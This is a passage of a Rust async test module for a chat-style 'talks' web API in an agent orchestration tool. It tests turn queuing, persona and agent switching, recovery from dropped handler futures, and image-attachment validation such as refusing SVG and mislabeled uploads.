8732    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
8733        let (_tmp, _repo, f) = talk_fixture().await;
8734
8735        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
8736        // is the ordinary way a phone opens a talk.
8737        let opened = f.post("/api/talks", None).await;
8738        assert_eq!(opened.status, 201, "{}", opened.body);
8739        let body = opened.json();
8740        assert_eq!(body["status"], "open");
8741        assert_eq!(
8742            body["turns"].as_array().unwrap().len(),
8743            0,
8744            "opening takes no agent turn: there is nothing yet to answer"
8745        );
8746
8747        // An explicit empty object is the same request as none at all.
8748        let also_opened = f.post("/api/talks", Some("{}")).await;
8749        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
8750
8751        let listed = f.get("/api/talks").await.json();
8752        assert_eq!(listed.as_array().unwrap().len(), 2);
8753    }
8754
8755    #[tokio::test]
8756    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
8757        let tmp = TempDir::new().expect("tempdir");
8758        let repo = tmp.path().join("repo");
8759        std::fs::create_dir_all(&repo).expect("repo dir");
8760        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
8761        std::fs::write(
8762            repo.join("magi.toml"),
8763            format!("{MOCK_AGENT_TOML}\n{second}"),
8764        )
8765        .expect("write magi.toml");
8766        let home = TempDir::new().expect("temp home");
8767        let talks = Talks::at(home.path().join("talks"));
8768        let ui = Arc::new(
8769            Ui::new(
8770                Queue::at(home.path().join("queue")),
8771                Questions::at(home.path().join("questions")),
8772                talks.clone(),
8773                home.path().join("runs"),
8774                home.path().to_path_buf(),
8775                repo.clone(),
8776            )
8777            .with_worktrees_root(home.path().join("wt")),
8778        );
8779        let cfg = config_for(&repo).await.expect("discover config");
8780        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8781        let id = talk.id.clone();
8782        let call = |agent: &str| {
8783            talk_agent(
8784                State(Arc::clone(&ui)),
8785                Path(id.clone()),
8786                Json(TalkAgent {
8787                    agent: agent.to_owned(),
8788                }),
8789            )
8790        };
8791
8792        let unknown = call("nobody").await.expect_err("unknown agent");
8793        assert_eq!(
8794            unknown.status,
8795            StatusCode::BAD_REQUEST,
8796            "{}",
8797            unknown.message
8798        );
8799
8800        {
8801            // The refused call hands its claim to a drain loop that releases
8802            // it a moment later.
8803            let mut claimed = None;
8804            for _ in 0..200 {
8805                claimed = ui.begin_talk_turn(&id).expect("claim");
8806                if claimed.is_some() {
8807                    break;
8808                }
8809                tokio::time::sleep(Duration::from_millis(10)).await;
8810            }
8811            let _busy = claimed.expect("free");
8812            let busy = call("second").await.expect_err("busy talk");
8813            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8814        }
8815        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
8816
8817        let Json(view) = call("second").await.expect("switch");
8818        assert_eq!(view.talk.agent, "second");
8819        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
8820        let saved = talks.get(&id).expect("reload");
8821        assert_eq!(saved.agent, "second");
8822        assert_eq!(saved.turns.len(), 1);
8823
8824        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8825            .await
8826            .expect("detail");
8827        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
8828        assert_eq!(roster, ["mock", "second"]);
8829
8830        let mut closed = talks.get(&id).expect("reload");
8831        talk::close(&mut closed, &talks).expect("close");
8832        let refused = call("mock").await.expect_err("closed talk");
8833        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8834    }
8835
8836    #[tokio::test]
8837    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
8838        let tmp = TempDir::new().expect("tempdir");
8839        let repo = tmp.path().join("repo");
8840        std::fs::create_dir_all(&repo).expect("repo dir");
8841        std::fs::write(
8842            repo.join("magi.toml"),
8843            format!(
8844                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
8845            ),
8846        )
8847        .expect("write magi.toml");
8848        let home = TempDir::new().expect("temp home");
8849        let talks = Talks::at(home.path().join("talks"));
8850        let ui = Arc::new(
8851            Ui::new(
8852                Queue::at(home.path().join("queue")),
8853                Questions::at(home.path().join("questions")),
8854                talks.clone(),
8855                home.path().join("runs"),
8856                home.path().to_path_buf(),
8857                repo.clone(),
8858            )
8859            .with_worktrees_root(home.path().join("wt")),
8860        );
8861        let cfg = config_for(&repo).await.expect("discover config");
8862        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8863        let id = talk.id.clone();
8864        let call = |persona: &str| {
8865            talk_persona(
8866                State(Arc::clone(&ui)),
8867                Path(id.clone()),
8868                Json(TalkPersona {
8869                    persona: persona.to_owned(),
8870                }),
8871            )
8872        };
8873
8874        let unknown = call("nobody").await.expect_err("unknown persona");
8875        assert_eq!(
8876            unknown.status,
8877            StatusCode::BAD_REQUEST,
8878            "{}",
8879            unknown.message
8880        );
8881
8882        {
8883            let mut claimed = None;
8884            for _ in 0..200 {
8885                claimed = ui.begin_talk_turn(&id).expect("claim");
8886                if claimed.is_some() {
8887                    break;
8888                }
8889                tokio::time::sleep(Duration::from_millis(10)).await;
8890            }
8891            let _busy = claimed.expect("free");
8892            let busy = call("rei").await.expect_err("busy talk");
8893            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8894        }
8895        assert_eq!(talks.get(&id).expect("reload").persona, "");
8896
8897        let Json(view) = call("gendo").await.expect("switch to a configured persona");
8898        assert_eq!(view.talk.persona, "gendo");
8899        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
8900
8901        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8902            .await
8903            .expect("detail");
8904        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
8905        assert_eq!(ids.first(), Some(&"default"));
8906        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
8907
8908        let Json(view) = call("default").await.expect("back to default");
8909        assert_eq!(view.talk.persona, "");
8910
8911        let mut closed = talks.get(&id).expect("reload");
8912        talk::close(&mut closed, &talks).expect("close");
8913        let refused = call("rei").await.expect_err("closed talk");
8914        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8915    }
8916
8917    #[tokio::test]
8918    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
8919        let f = Fixture::start().await;
8920        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
8921        let queue = f.queue();
8922        let mut mine = Task::new(
8923            "rename the loader".to_owned(),
8924            "rename the loader".to_owned(),
8925            PathBuf::from("/repo/magi"),
8926            Source::Agent {
8927                run: talk_id.clone(),
8928                node: "chat".to_owned(),
8929            },
8930        );
8931        queue.put(&mut mine).expect("file the task");
8932        let mut theirs = Task::new(
8933            "unrelated".to_owned(),
8934            "unrelated".to_owned(),
8935            PathBuf::from("/repo/magi"),
8936            Source::Human,
8937        );
8938        queue.put(&mut theirs).expect("file the task");
8939
8940        let res = f.get(&format!("/api/talks/{talk_id}")).await;
8941        assert_eq!(res.status, 200, "{}", res.body);
8942        let body = res.json();
8943        assert_eq!(
8944            body["status"], "open",
8945            "filing a task does not close a talk"
8946        );
8947        let tasks = body["tasks"].as_array().expect("tasks array");
8948        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
8949        assert_eq!(tasks[0]["id"], mine.id);
8950    }
8951
8952    #[tokio::test]
8953    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
8954        let (_tmp, _repo, f) = talk_fixture().await;
8955        let id = f.post("/api/talks", None).await.json()["id"]
8956            .as_str()
8957            .expect("id")
8958            .to_owned();
8959
8960        let res = f
8961            .post(
8962                &format!("/api/talks/{id}/say"),
8963                Some(r#"{"text":"what does the queue module do?"}"#),
8964            )
8965            .await;
8966        assert_eq!(res.status, 202, "{}", res.body);
8967        let queued = res.json();
8968        let turns = queued["turns"].as_array().expect("turns array");
8969        assert_eq!(
8970            turns.len(),
8971            1,
8972            "the answer reflects only what is on disk the instant it is sent, \
8973             before the agent's turn - which can run for the whole of \
8974             `[graph] timeout_talk` - has a chance to land: {queued}"
8975        );
8976        assert_eq!(turns[0]["who"], "operator");
8977        assert_eq!(turns[0]["body"], "what does the queue module do?");
8978        assert_eq!(
8979            queued["thinking"], true,
8980            "the accepted response exposes the background turn claim: {queued}"
8981        );
8982
8983        let mut turns_after = 1;
8984        for _ in 0..SETTLE_STEPS {
8985            let detail = f.get(&format!("/api/talks/{id}")).await.json();
8986            turns_after = detail["turns"].as_array().expect("turns array").len();
8987            if turns_after == 2 {
8988                break;
8989            }
8990            tokio::time::sleep(Duration::from_millis(10)).await;
8991        }
8992        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
8993    }
8994
8995    /// A phone that reloads mid-request drops `talk_say`'s whole handler
8996    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
8997    /// guards against: `talk::record` used to return, and only *then* did the
8998    /// handler make a second, separate disk round trip before spawning the
8999    /// agent's reply task. A future dropped in that gap left a message
9000    /// recorded on disk with no reply task ever started and no way back short
9001    /// of a fresh message - and the gap was not even the whole story: *any*
9002    /// `.await` in this handler, including the very first one, is a point
9003    /// where a drop can land after the awaited work already finished but
9004    /// before this handler's own code resumes to act on it. `record` now
9005    /// runs inside the task `tokio::spawn` hands to the runtime before this
9006    /// handler ever awaits anything of its own again, so there is nothing
9007    /// left in *this* handler's future for a disconnect to interrupt between
9008    /// the message landing on disk and the reply task starting.
9009    ///
9010    /// A real socket disconnect cannot be relied on to land in the old gap
9011    /// from a test - over loopback, `talk_say` typically finishes before the
9012    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
9013    /// same failure mode directly: it drops the task's future at whatever
9014    /// point it has reached, exactly what axum does to the handler future,
9015    /// without needing to win a real network race. Sweeping the delay before
9016    /// aborting samples a range of points the task's execution can be at,
9017    /// including where the old code sat waiting on its second disk round
9018    /// trip - confirmed by reverting this fix locally and watching this same
9019    /// sweep catch a talk stuck with the operator's turn recorded and no
9020    /// reply ever following.
9021    #[tokio::test]
9022    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
9023        let tmp = TempDir::new().expect("tempdir");
9024        let repo = tmp.path().join("repo");
9025        std::fs::create_dir_all(&repo).expect("repo dir");
9026        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9027        let home = TempDir::new().expect("temp home");
9028        let talks = Talks::at(home.path().join("talks"));
9029        let ui = Arc::new(
9030            Ui::new(
9031                Queue::at(home.path().join("queue")),
9032                Questions::at(home.path().join("questions")),
9033                talks.clone(),
9034                home.path().join("runs"),
9035                home.path().to_path_buf(),
9036                repo.clone(),
9037            )
9038            .with_worktrees_root(home.path().join("wt")),
9039        );
9040        let cfg = config_for(&repo).await.expect("discover config");
9041
9042        for delay in 0..40u32 {
9043            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9044            let id = talk.id.clone();
9045
9046            let handler = tokio::spawn(talk_say(
9047                State(Arc::clone(&ui)),
9048                Path(id.clone()),
9049                Ok(Json(NewTalkTurn {
9050                    text: "what does the queue module do?".to_owned(),
9051                    attachments: Vec::new(),
9052                })),
9053            ));
9054            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
9055            handler.abort();
9056            // Wait out the abort so the next iteration's talk does not race
9057            // this one's still-unwinding turn guard.
9058            let _ = handler.await;
9059
9060            let mut turns = 0;
9061            for _ in 0..SETTLE_STEPS {
9062                if let Ok(fresh) = talks.get(&id) {
9063                    turns = fresh.turns.len();
9064                    if turns != 1 {
9065                        break;
9066                    }
9067                }
9068                tokio::time::sleep(Duration::from_millis(10)).await;
9069            }
9070            assert_ne!(
9071                turns, 1,
9072                "delay {delay}: talk {id} recorded the operator's turn but \
9073                 the agent never answered - the reply task was never \
9074                 started after the handler future was dropped"
9075            );
9076        }
9077    }
9078
9079    /// The same drop, landing on `talk_say`'s other durable write.
9080    ///
9081    /// When a turn is already running, the busy branch persists the
9082    /// operator's text as a queued draft and then reclaims the turn slot if
9083    /// the holder gave it up in the meantime - and whoever reclaims owes that
9084    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
9085    /// which finishes whether or not the future awaiting it is still there,
9086    /// so a handler dropped at that `.await` used to leave the draft written
9087    /// to disk with the reclaimed guard dropped unread and no drainer ever
9088    /// started: the message sat queued until some unrelated later `say`
9089    /// happened to pick it up.
9090    ///
9091    /// This used to drive the handler future by hand, polling it a fixed
9092    /// number of times to park it at the `.await` where it asks for the turn
9093    /// and finds it busy, before the reclaim's slot-free case could be set up
9094    /// underneath it. That assumed a fixed number of polls lands at a fixed
9095    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
9096    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
9097    /// poll, so any number of this handler's several `blocking` awaits can
9098    /// collapse into one poll under load, landing the drive somewhere other
9099    /// than intended - including, occasionally, straight past the handler's
9100    /// own completion, which made polling it again panic with "async fn
9101    /// resumed after completion". No poll count fixes that; the handler's
9102    /// progress simply is not something a caller outside it can observe by
9103    /// counting.
9104    ///
9105    /// [`BusyQueueGate`] replaces the poll count with a real stop point
9106    /// inside the write itself, so the interleaving under test is pinned by
9107    /// an event instead of a guess: the gate fires only once the handler has
9108    /// actually decided `Busy` and is about to persist the draft, and it
9109    /// blocks that write until the test lets it through. Between those two
9110    /// moments the test drains the turn the handler found busy - through
9111    /// `drain_loop`, the protocol's other half - and then aborts the handler
9112    /// task outright, the same way axum drops a disconnected request's
9113    /// future. The write, and the reclaim it may do, run to completion
9114    /// regardless: they live in the `tokio::spawn` task the busy branch hands
9115    /// to the runtime before ever touching the gate, wholly independent of
9116    /// whether the handler that started it is still around - which is what
9117    /// this test is actually checking. A drainer other than that reclaim
9118    /// cannot exist here: the test's own `drain_loop` call happens before the
9119    /// gate opens, so it runs while the queue is still empty and hands the
9120    /// turn straight back rather than draining anything, closing off the
9121    /// possibility of the final assertion passing without the reclaim ever
9122    /// having done its job.
9123    #[tokio::test]
9124    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
9125        let tmp = TempDir::new().expect("tempdir");
9126        let repo = tmp.path().join("repo");
9127        std::fs::create_dir_all(&repo).expect("repo dir");
9128        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9129        let home = TempDir::new().expect("temp home");
9130        let talks = Talks::at(home.path().join("talks"));
9131        let ui = Arc::new(
9132            Ui::new(
9133                Queue::at(home.path().join("queue")),
9134                Questions::at(home.path().join("questions")),
9135                talks.clone(),
9136                home.path().join("runs"),
9137                home.path().to_path_buf(),
9138                repo.clone(),
9139            )
9140            .with_worktrees_root(home.path().join("wt")),
9141        );
9142        let cfg = config_for(&repo).await.expect("discover config");
9143
9144        for attempt in 0..3u32 {
9145            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9146            let id = talk.id.clone();
9147            // A turn is already running, which is what sends `talk_say` down
9148            // the busy branch.
9149            let turn_guard = ui
9150                .begin_talk_turn(&id)
9151                .expect("claim the turn")
9152                .expect("a fresh talk owes nobody a turn");
9153
9154            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
9155            let (release_tx, release_rx) = std::sync::mpsc::channel();
9156            ui.set_busy_queue_gate(BusyQueueGate {
9157                reached: reached_tx,
9158                release: release_rx,
9159            });
9160
9161            let handler = tokio::spawn(talk_say(
9162                State(Arc::clone(&ui)),
9163                Path(id.clone()),
9164                Ok(Json(NewTalkTurn {
9165                    text: "what does the queue module do?".to_owned(),
9166                    attachments: Vec::new(),
9167                })),
9168            ));
9169
9170            // Wait for the busy branch to actually reach the gate, rather
9171            // than for any fixed number of polls of anything - a bounded
9172            // wait rather than a bare `.await` so a regression that never
9173            // reaches the gate fails the test instead of hanging it.
9174            tokio::time::timeout(Duration::from_secs(5), reached_rx)
9175                .await
9176                .unwrap_or_else(|_| {
9177                    panic!(
9178                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
9179                    )
9180                })
9181                .expect("the busy branch dropped the gate without using it");
9182
9183            // The turn that was running now finishes and gives the slot up
9184            // the way a real one does - through `drain_loop`, which finds
9185            // nothing queued yet (the write is still held at the gate) and
9186            // releases. The handler, parked inside `spawn_blocking` on the
9187            // other side of the gate, still believes the talk is busy -
9188            // exactly the interleaving the reclaim exists for.
9189            let running = talks.get(&id).expect("reload talk");
9190            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
9191
9192            // Drop the handler future now, the way a reloading phone drops
9193            // it: suspended waiting on the busy branch's answer, having
9194            // itself made no more progress since it handed the write off.
9195            handler.abort();
9196            let _ = handler.await;
9197
9198            // Only now let the gated write proceed. It persists the draft
9199            // and reclaims the now-free slot from inside the task the busy
9200            // branch already spawned - unaffected by the handler's abort
9201            // above, since that task was independent of the handler's own
9202            // future from the moment it was spawned.
9203            let _ = release_tx.send(());
9204
9205            // A settled talk: the draft drained into an operator turn and
9206            // answered.
9207            let mut fresh = talks.get(&id).expect("reload talk");
9208            for _ in 0..SETTLE_STEPS {
9209                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
9210                    break;
9211                }
9212                tokio::time::sleep(Duration::from_millis(10)).await;
9213                fresh = talks.get(&id).expect("reload talk");
9214            }
9215            assert!(
9216                fresh.pending.is_empty() && fresh.turns.len() == 2,
9217                "attempt {attempt}: talk {id} left the operator's text queued \
9218                 with no drainer - the reclaimed turn was dropped along with \
9219                 the handler future (pending {:?}, {} turns)",
9220                fresh.pending,
9221                fresh.turns.len()
9222            );
9223        }
9224    }
9225
9226    #[tokio::test]
9227    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
9228        let (_tmp, _repo, f) = talk_fixture().await;
9229        let id = f.post("/api/talks", None).await.json()["id"]
9230            .as_str()
9231            .expect("id")
9232            .to_owned();
9233        let store = f.talks();
9234        let mut recovered = store.get(&id).expect("opened talk");
9235        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9236            .expect("persist pending draft without a live turn");
9237
9238        let edited = f
9239            .post(
9240                &format!("/api/talks/{id}/pending/edit"),
9241                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
9242            )
9243            .await;
9244        assert_eq!(edited.status, 200, "{}", edited.body);
9245        assert!(edited.json()["thinking"].as_bool().unwrap());
9246
9247        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
9248        for _ in 0..SETTLE_STEPS {
9249            if detail["turns"].as_array().expect("turns").len() == 2 {
9250                break;
9251            }
9252            tokio::time::sleep(Duration::from_millis(10)).await;
9253            detail = f.get(&format!("/api/talks/{id}")).await.json();
9254        }
9255        let turns = detail["turns"].as_array().expect("turns");
9256        assert_eq!(
9257            turns.len(),
9258            2,
9259            "the recovered draft must run once: {detail}"
9260        );
9261        assert_eq!(turns[0]["body"], "corrected");
9262        assert_eq!(detail["pending"], "");
9263    }
9264
9265    #[tokio::test]
9266    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
9267        let tmp = TempDir::new().expect("tempdir");
9268        let repo = tmp.path().join("repo");
9269        std::fs::create_dir_all(&repo).expect("repo dir");
9270        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9271        let f = Fixture::with_repo(repo).await;
9272        let id = f.post("/api/talks", None).await.json()["id"]
9273            .as_str()
9274            .expect("id")
9275            .to_owned();
9276        let store = f.talks();
9277        let mut recovered = store.get(&id).expect("opened talk");
9278        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9279            .expect("persist pending draft without a live turn");
9280
9281        let refused = f
9282            .post(
9283                &format!("/api/talks/{id}/say"),
9284                Some(r#"{"text":"new message"}"#),
9285            )
9286            .await;
9287        assert_eq!(refused.status, 409, "{}", refused.body);
9288        assert!(refused.body.contains("resume"), "{}", refused.body);
9289        let saved = store.get(&id).expect("draft remains after refusal");
9290        assert!(saved.turns.is_empty());
9291        assert_eq!(saved.pending, "saved before restart");
9292
9293        let say_path = format!("/api/talks/{id}/say");
9294        let (first, second) = tokio::join!(
9295            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
9296            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
9297        );
9298        assert_eq!(first.status, 409, "{}", first.body);
9299        assert_eq!(second.status, 409, "{}", second.body);
9300        let saved = store
9301            .get(&id)
9302            .expect("draft remains after concurrent refusals");
9303        assert!(saved.turns.is_empty());
9304        assert_eq!(saved.pending, "saved before restart");
9305
9306        let resumed = f
9307            .post(&format!("/api/talks/{id}/pending/resume"), None)
9308            .await;
9309        assert_eq!(resumed.status, 202, "{}", resumed.body);
9310        let duplicate = f
9311            .post(&format!("/api/talks/{id}/pending/resume"), None)
9312            .await;
9313        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
9314
9315        for _ in 0..SETTLE_STEPS {
9316            if store.get(&id).expect("talk").turns.len() == 2 {
9317                break;
9318            }
9319            tokio::time::sleep(Duration::from_millis(10)).await;
9320        }
9321        let finished = store.get(&id).expect("finished talk");
9322        assert_eq!(finished.turns.len(), 2, "{finished:?}");
9323        assert_eq!(finished.turns[0].body, "saved before restart");
9324        assert!(finished.pending.is_empty());
9325    }
9326
9327    #[tokio::test]
9328    async fn an_image_only_recovered_draft_resumes_without_text() {
9329        let (_tmp, _repo, f) = talk_fixture().await;
9330        let id = f.post("/api/talks", None).await.json()["id"]
9331            .as_str()
9332            .expect("id")
9333            .to_owned();
9334        let uploaded = f
9335            .post_bytes(
9336                &format!("/api/talks/{id}/attachments"),
9337                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
9338                PNG_BYTES,
9339            )
9340            .await;
9341        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9342        let attachment = f
9343            .talks()
9344            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
9345            .expect("attachment metadata")
9346            .expect("stored attachment");
9347        let store = f.talks();
9348        let mut recovered = store.get(&id).expect("opened talk");
9349        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
9350
9351        let resumed = f
9352            .post(&format!("/api/talks/{id}/pending/resume"), None)
9353            .await;
9354        assert_eq!(resumed.status, 202, "{}", resumed.body);
9355        for _ in 0..SETTLE_STEPS {
9356            if store.get(&id).expect("talk").turns.len() == 2 {
9357                break;
9358            }
9359            tokio::time::sleep(Duration::from_millis(10)).await;
9360        }
9361        let finished = store.get(&id).expect("finished talk");
9362        assert_eq!(finished.turns.len(), 2, "{finished:?}");
9363        assert!(finished.turns[0].body.is_empty());
9364        assert_eq!(finished.turns[0].attachments.len(), 1);
9365        assert!(finished.pending_attachments.is_empty());
9366    }
9367
9368    #[tokio::test]
9369    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
9370        let (_tmp, _repo, f) = talk_fixture().await;
9371        let id = f.post("/api/talks", None).await.json()["id"]
9372            .as_str()
9373            .expect("id")
9374            .to_owned();
9375        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9376        assert_eq!(closed.status, 200, "{}", closed.body);
9377        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9378            .expect("serialize closed talk");
9379        for (path, body) in [
9380            (format!("/api/talks/{id}/pending/resume"), None),
9381            (
9382                format!("/api/talks/{id}/pending/clear"),
9383                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
9384            ),
9385            (
9386                format!("/api/talks/{id}/pending/edit"),
9387                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
9388            ),
9389            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
9390        ] {
9391            let response = f.post(&path, body).await;
9392            assert_eq!(response.status, 409, "{}", response.body);
9393        }
9394        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9395            .expect("serialize closed talk");
9396        assert_eq!(
9397            after_clear, before_clear,
9398            "clear must not rewrite a closed talk"
9399        );
9400    }
9401
9402    /// Keeps both claims observable long enough to exercise the distinction
9403    /// between one busy talk and a globally locked Chat surface.
9404    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
9405
9406    #[tokio::test]
9407    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
9408        let tmp = TempDir::new().expect("tempdir");
9409        let repo = tmp.path().join("repo");
9410        std::fs::create_dir_all(&repo).expect("repo dir");
9411        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9412        let f = Fixture::with_repo(repo).await;
9413        let id_a = f.post("/api/talks", None).await.json()["id"]
9414            .as_str()
9415            .unwrap()
9416            .to_owned();
9417        let id_b = f.post("/api/talks", None).await.json()["id"]
9418            .as_str()
9419            .unwrap()
9420            .to_owned();
9421
9422        let a = f
9423            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
9424            .await;
9425        assert_eq!(a.status, 202, "{}", a.body);
9426        assert_eq!(a.json()["thinking"], true);
9427        let b = f
9428            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
9429            .await;
9430        assert_eq!(b.status, 202, "{}", b.body);
9431        assert_eq!(b.json()["thinking"], true);
9432
9433        let listed = f.get("/api/talks").await.json();
9434        for id in [&id_a, &id_b] {
9435            let view = listed
9436                .as_array()
9437                .unwrap()
9438                .iter()
9439                .find(|talk| talk["id"] == *id)
9440                .unwrap();
9441            assert_eq!(view["thinking"], true, "{listed}");
9442        }
9443        let repeated = f
9444            .post(
9445                &format!("/api/talks/{id_a}/say"),
9446                Some(r#"{"text":"again"}"#),
9447            )
9448            .await;
9449        assert_eq!(repeated.status, 202, "{}", repeated.body);
9450        assert_eq!(repeated.json()["pending"], "again");
9451    }
9452
9453    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
9454    /// few more, since real uploads are never exactly eight bytes.
9455    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
9456
9457    #[tokio::test]
9458    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
9459        let f = Fixture::start().await;
9460        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
9461
9462        let res = f
9463            .post_bytes(
9464                &format!("/api/talks/{id}/attachments"),
9465                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9466                PNG_BYTES,
9467            )
9468            .await;
9469        assert_eq!(res.status, 201, "{}", res.body);
9470        let body = res.json();
9471        assert_eq!(body["name"], "shot.png");
9472        assert_eq!(body["mime"], "image/png");
9473        assert_eq!(body["bytes"], PNG_BYTES.len());
9474        let att_id = body["id"].as_str().expect("id").to_owned();
9475        assert_eq!(
9476            att_id.len(),
9477            32,
9478            "the id must never be a client-suppliable path: {att_id}"
9479        );
9480
9481        let got = f
9482            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
9483            .await;
9484        assert_eq!(got.status, 200, "{}", got.body);
9485        assert_eq!(got.header("content-type"), Some("image/png"));
9486        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
9487        assert_eq!(got.bytes, PNG_BYTES);
9488    }
9489
9490    #[tokio::test]
9491    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
9492        let f = Fixture::start().await;
9493        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
9494
9495        // SVG can carry a `<script>`, so it is never on the whitelist even
9496        // though it is a real IANA image type.
9497        let svg = f
9498            .post_bytes(
9499                &format!("/api/talks/{id}/attachments"),
9500                &[("Content-Type", "image/svg+xml")],
9501                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
9502            )
9503            .await;
9504        assert!(
9505            (400..500).contains(&svg.status),
9506            "svg must be refused: {} {}",
9507            svg.status,
9508            svg.body
9509        );
9510        assert!(svg.body.contains("SVG"), "{}", svg.body);
9511
9512        let text = f
9513            .post_bytes(
9514                &format!("/api/talks/{id}/attachments"),
9515                &[("Content-Type", "text/plain")],
9516                b"just some text",
9517            )
9518            .await;
9519        assert!(
9520            (400..500).contains(&text.status),
9521            "an unlisted type must be refused: {} {}",
9522            text.status,
9523            text.body
9524        );
9525
9526        // The declared type is a real png, but the size check runs before
9527        // the bytes are even looked at.
9528        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
9529        let big = f
9530            .post_bytes(
9531                &format!("/api/talks/{id}/attachments"),
9532                &[("Content-Type", "image/png")],
9533                &oversized,
9534            )
9535            .await;
9536        assert_eq!(
9537            big.status,
9538            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
9539            "{}",
9540            big.body
9541        );
9542    }
9543
9544    #[tokio::test]
9545    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
9546        let f = Fixture::start().await;
9547        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
9548
9549        // A whitelisted `Content-Type`, but bytes that are not actually a
9550        // png - the declared header alone is never trusted.
9551        let res = f
9552            .post_bytes(
9553                &format!("/api/talks/{id}/attachments"),
9554                &[("Content-Type", "image/png")],
9555                b"<html>not a picture</html>",
9556            )
9557            .await;
9558        assert!((400..500).contains(&res.status), "{}", res.body);
9559    }
9560
9561    #[tokio::test]
9562    async fn an_unknown_attachment_id_is_a_404() {
9563        let f = Fixture::start().await;
9564        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
9565
9566        let res = f
9567            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
9568            .await;
9569        assert_eq!(res.status, 404, "{}", res.body);
9570    }
9571
9572    #[tokio::test]
